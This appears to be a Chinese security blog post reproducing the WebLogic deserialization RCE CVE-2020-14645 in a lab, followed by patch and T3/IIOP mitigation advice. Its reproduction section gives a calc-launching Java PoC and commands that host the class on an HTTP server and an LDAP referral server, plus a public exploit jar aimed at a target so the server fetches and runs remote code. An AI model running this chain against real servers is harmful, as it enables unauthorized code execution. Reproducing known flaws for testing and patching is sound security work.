CVE-2020-14645:Weblogic远程代码执行复现

2020-09-27 8,682


关注我们,一起学安全!
本文作者:纸超人@Timeline Sec
本文字数:973
阅读时长:3~4min
声明:请勿用作违法用途,否则后果自负





0x01 简介

WebLogic是美国Oracle公司出品的一个application server,是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。


0x02 漏洞概述

攻击者可利用该漏洞实现远程代码执行。该反序列化的gadget存在与coherence包中。编号CVE-2020-14645。

构造chain类似于common-collection的chain,可以照葫芦画瓢。

mvn 好像不能下载coherence包,很奇怪,直接下jar包就行。
反序列化的对象,通过t3发送给weblogic即可。所以,这个只是生成payload的工具。

0x03 影响版本










Oracle Oracle WebLogic Server 10.3.6.0.0
Oracle WebLogic Server 12.2.1.4.0
Oracle WebLogic Server 12.2.1.3.0
Oracle WebLogic Server 12.1.3.0.0
Oracle WebLogic Server 14.1.1.0.0





0x04 环境搭建

JDK Version < JDK6u211/7u201/8u191

Weblogic Version 12.2.1.4.0


  1. 在官网下载上面的安装包
  2. 安装好对应JAVA并配置好环境变量,java javac命令可以执行
java -version
javac -version


  1. 使用管理员权限打开CMD执行安装命令
java -jar fmw_12.2.1.4.0_wls_lite_generic.jar




  1. 无脑下一步





  1. 稍等片刻会自动打开配置向导,下一步








  1. 完成安装,然后打开startWebLogic运行服务





  1. 浏览器访问http://IP:7001/console,至此环境搭建完毕



0x05 漏洞复现


目标192.168.132.171:7001


  1. payload

public class exp{
    // POC open calc    
    public exp(){   
         try {      
              Runtime.getRuntime().exec("calc.exe");        
         } catch (Exception e) {         
            e.printStackTrace();        
         }    
     }    
     public static void main(String[] argv){    
         exp e = new exp();   
     }
}
  1. 编译poc
javac poc.java


  1. 使用python启动http服务器,并将poc.class放入站点根目录(我这边指定5001端口)
python3 -m http.server 5001



  1. 使用marshalsec搭建ldap服务
marshalsec 下载及使用方式
https://github.com/ianxtianxt/marshalsec

自行编译marshalsec的jar包:

mvn clean package -DskipTests

启动ldap服务,具体启动参数的介绍,查看作者的介绍。

java -cp marshalsec/target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://IP:port/#exp 5002




  1. 使用下面的工具 (需要mvn编译) ,工具下载地址
https://github.com/DSO-Lab/Weblogic_CVE-2020-14645
java -jar CVE-2020-14645.jar LDAP服务器IP:port/#exp http://192.168.132.171:7001




  1. 成功(撒花*★,°*:.☆( ̄▽ ̄)/$:*.°★* 。)



0x06 修复方式


1、安装官方补丁

https://www.oracle.com/security-alerts/cpujul2020.html

2、限制T3访问来源

漏洞产生于WebLogic默认启用的T3协议,因此可通过限制T3访问来源来阻止攻击。

3、禁用IIOP协议

可以查看下面官方文章进行关闭IIOP协议。

https://docs.oracle.com/middleware/1213/wls/WLACH/taskhelp/channels/EnableAndConfigureIIOP.html


参考链接:

https://github.com/ianxtianxt/marshalsec

https://github.com/DSO-Lab/Weblogic_CVE-2020-14645






本文作者:Timeline Sec

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/141936.html

Tags:
评论  (0)
快来写下你的想法吧!

Timeline Sec

文章数:38 积分: 190

欢迎关注公众号Timeline Sec

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号